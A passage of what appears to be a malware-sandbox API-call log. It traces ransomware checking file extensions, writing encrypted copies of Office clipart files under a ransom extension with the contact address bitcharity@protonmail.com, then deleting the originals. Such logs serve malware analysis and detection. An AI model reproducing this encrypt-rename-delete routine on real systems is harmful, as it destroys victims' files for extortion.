lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.292] lstrlenW (lpString=".bz2") returned 4 [0300.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.292] lstrlenW (lpString=".7z") returned 3 [0300.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.292] lstrlenW (lpString=".dbf") returned 4 [0300.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.292] lstrlenW (lpString=".1cd") returned 4 [0300.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.292] lstrlenW (lpString=".jpg") returned 4 [0300.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.292] lstrlenW (lpString=".doc") returned 4 [0300.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.292] lstrlenW (lpString=".docx") returned 5 [0300.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.292] lstrlenW (lpString=".pdf") returned 4 [0300.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.293] lstrlenW (lpString=".xls") returned 4 [0300.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.293] lstrlenW (lpString=".xlsx") returned 5 [0300.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.293] lstrlenW (lpString=".ppt") returned 4 [0300.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.293] lstrlenW (lpString=".zip") returned 4 [0300.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.293] lstrlenW (lpString=".rar") returned 4 [0300.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.293] lstrlenW (lpString=".bz2") returned 4 [0300.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.293] lstrlenW (lpString=".7z") returned 3 [0300.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.293] lstrlenW (lpString=".dbf") returned 4 [0300.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.293] lstrlenW (lpString=".1cd") returned 4 [0300.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.293] lstrlenW (lpString=".jpg") returned 4 [0300.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.293] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0300.293] lstrlenW (lpString="HH01065_.WMF") returned 12 [0300.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0300.294] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1268) returned 1 [0300.294] CloseHandle (hObject=0x10c8) returned 1 [0300.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0300.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0300.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0300.294] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.294] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0300.294] GetLastError () returned 0x0 [0300.294] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0300.996] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x500, lpOverlapped=0x0) returned 1 [0301.167] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.167] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.167] SetEndOfFile (hFile=0x10b8) returned 1 [0301.167] CloseHandle (hObject=0x10b8) returned 1 [0301.167] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.168] SetEndOfFile (hFile=0x10c8) returned 1 [0301.168] CloseHandle (hObject=0x10c8) returned 1 [0301.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0301.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.172] lstrlenW (lpString=".doc") returned 4 [0301.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.172] lstrlenW (lpString=".docx") returned 5 [0301.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.172] lstrlenW (lpString=".pdf") returned 4 [0301.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.172] lstrlenW (lpString=".xls") returned 4 [0301.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.172] lstrlenW (lpString=".xlsx") returned 5 [0301.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.172] lstrlenW (lpString=".ppt") returned 4 [0301.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.172] lstrlenW (lpString=".zip") returned 4 [0301.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.172] lstrlenW (lpString=".rar") returned 4 [0301.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString=".bz2") returned 4 [0301.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString=".7z") returned 3 [0301.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.173] lstrlenW (lpString=".dbf") returned 4 [0301.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.173] lstrlenW (lpString=".1cd") returned 4 [0301.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.173] lstrlenW (lpString=".jpg") returned 4 [0301.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.173] lstrlenW (lpString=".doc") returned 4 [0301.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString=".docx") returned 5 [0301.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.173] lstrlenW (lpString=".pdf") returned 4 [0301.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString=".xls") returned 4 [0301.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.173] lstrlenW (lpString=".xlsx") returned 5 [0301.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.173] lstrlenW (lpString=".ppt") returned 4 [0301.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.173] lstrlenW (lpString=".zip") returned 4 [0301.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.173] lstrlenW (lpString=".rar") returned 4 [0301.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.173] lstrlenW (lpString=".bz2") returned 4 [0301.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.174] lstrlenW (lpString=".7z") returned 3 [0301.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.174] lstrlenW (lpString=".dbf") returned 4 [0301.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.174] lstrlenW (lpString=".1cd") returned 4 [0301.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0301.174] lstrlenW (lpString=".jpg") returned 4 [0301.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.174] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.174] lstrlenW (lpString="HH01242_.WMF") returned 12 [0301.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.174] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=7340) returned 1 [0301.174] CloseHandle (hObject=0x10c8) returned 1 [0301.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0301.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.175] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.175] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0301.175] GetLastError () returned 0x0 [0301.175] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0301.652] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0301.653] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.653] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.653] SetEndOfFile (hFile=0x10b8) returned 1 [0301.653] CloseHandle (hObject=0x10b8) returned 1 [0301.654] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.654] SetEndOfFile (hFile=0x10c8) returned 1 [0301.655] CloseHandle (hObject=0x10c8) returned 1 [0301.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0301.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.655] lstrlenW (lpString=".doc") returned 4 [0301.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString=".docx") returned 5 [0301.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.655] lstrlenW (lpString=".pdf") returned 4 [0301.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString=".xls") returned 4 [0301.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.655] lstrlenW (lpString=".xlsx") returned 5 [0301.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.656] lstrlenW (lpString=".ppt") returned 4 [0301.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.656] lstrlenW (lpString=".zip") returned 4 [0301.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.656] lstrlenW (lpString=".rar") returned 4 [0301.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString=".bz2") returned 4 [0301.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString=".7z") returned 3 [0301.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.656] lstrlenW (lpString=".dbf") returned 4 [0301.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.656] lstrlenW (lpString=".1cd") returned 4 [0301.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.656] lstrlenW (lpString=".jpg") returned 4 [0301.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.656] lstrlenW (lpString=".doc") returned 4 [0301.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString=".docx") returned 5 [0301.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.656] lstrlenW (lpString=".pdf") returned 4 [0301.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString=".xls") returned 4 [0301.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.657] lstrlenW (lpString=".xlsx") returned 5 [0301.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.657] lstrlenW (lpString=".ppt") returned 4 [0301.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.657] lstrlenW (lpString=".zip") returned 4 [0301.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.657] lstrlenW (lpString=".rar") returned 4 [0301.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString=".bz2") returned 4 [0301.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString=".7z") returned 3 [0301.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.657] lstrlenW (lpString=".dbf") returned 4 [0301.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.657] lstrlenW (lpString=".1cd") returned 4 [0301.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0301.657] lstrlenW (lpString=".jpg") returned 4 [0301.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.657] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.658] lstrlenW (lpString="HH02166_.WMF") returned 12 [0301.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.658] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1324) returned 1 [0301.658] CloseHandle (hObject=0x10c8) returned 1 [0301.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0301.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0301.658] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.659] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0301.659] GetLastError () returned 0x0 [0301.659] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x52c, lpOverlapped=0x0) returned 1 [0301.730] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x530, lpOverlapped=0x0) returned 1 [0301.731] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.731] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.731] SetEndOfFile (hFile=0x10b8) returned 1 [0301.731] CloseHandle (hObject=0x10b8) returned 1 [0301.732] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.732] SetEndOfFile (hFile=0x10c8) returned 1 [0301.733] CloseHandle (hObject=0x10c8) returned 1 [0301.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0301.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.733] lstrlenW (lpString=".doc") returned 4 [0301.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.733] lstrlenW (lpString=".docx") returned 5 [0301.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.733] lstrlenW (lpString=".pdf") returned 4 [0301.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.733] lstrlenW (lpString=".xls") returned 4 [0301.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.734] lstrlenW (lpString=".xlsx") returned 5 [0301.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.734] lstrlenW (lpString=".ppt") returned 4 [0301.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0301.734] lstrlenW (lpString=".zip") returned 4 [0301.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.734] lstrlenW (lpString=".rar") returned 4 [0301.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.734] lstrlenW (lpString=".bz2") returned 4 [0301.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.734] lstrlenW (lpString=".7z") returned 3 [0301.734] lstrcmpiW 